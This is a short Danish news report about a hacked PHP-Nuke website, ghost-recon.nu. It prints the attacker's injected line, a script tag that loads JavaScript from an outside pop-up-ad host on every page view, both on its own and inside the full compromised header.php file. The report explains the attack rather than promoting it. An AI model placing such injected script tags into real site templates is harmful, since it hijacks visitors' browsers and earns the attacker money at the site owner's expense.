Websitet www.ghost-recon.nu er blevet udsat for et hacker angreb.
Brian Kristensen fra ghost-recon.nu der har givet tilladelse til at bringe programkoden på kriminalitet.dk, fortæller at der er flere website på den samme webserver der er blevet udsat for samme angreb.
Hackeren har sat denne stump kode ind i headeren på ghost-recon.nu:
echo "<script type=\"text/javascript\" src=\"http://www.cash4popup.de/script.php?s=26367\"></script>";
Denne kode betyder at hver gang ghost-recon.nu websitet åbnes, kommer der et pop-up vindue frem.
Dette pop-up vindue giver hackeren 8 Cent for alle klik.
Der er altså tale om en hacker der ikke blot ønsker at deface websitet, men gør det for økonomisk vindnings skyld.
Hele headeren er her:
/* PHP-NUKE: Advanced Content Management System */
/* ============================================ */
/* */
/* Copyright (c) 2002 by Francisco Burzi */
/* http://phpnuke.org */
/* */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License. */
/************************************************************************/
if (eregi("header.php",$_SERVER['PHP_SELF'])) {
Header("Location: index.php");
die();
}
require_once("mainfile.php");
##################################################
# Include some common header for HTML generation #
##################################################
$header = 1;
function head() {
global $slogan, $sitename, $banners, $nukeurl, $Version_Num, $artpage, $topic, $hlpfile, $user, $hr, $theme, $cookie, $bgcolor1, $bgcolor2, $bgcolor3, $bgcolor4, $textcolor1, $textcolor2, $forumpage, $adminpage, $userpage, $pagetitle;
$ThemeSel = get_theme();
include("themes/$ThemeSel/theme.php");
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
echo "<html>\n";
echo "<head>\n";
echo "<script type=\"text/javascript\" src=\"http://www.cash4popup.de/script.php?s=26367\"></script>";
echo "<title>$sitename $pagetitle</title>\n";
include("includes/meta.php");
include("includes/javascript.php");
if (file_exists("themes/$ThemeSel/images/favicon.ico")) {
echo "<link REL=\"shortcut icon\" HREF=\"themes/$ThemeSel/images/favicon.ico\" TYPE=\"image/x-icon\">\n";
}
echo "<LINK REL=\"StyleSheet\" HREF=\"themes/$ThemeSel/style/style.css\" TYPE=\"text/css\">\n\n\n";
include("includes/my_header.php");
echo "\n\n\n</head>\n\n";
themeheader();
}
online();
head();
include("includes/counter.php");
global $home;
if ($home == 1) {
message_box();
blocks(Center);
}
?>
|
|
|
Forside 
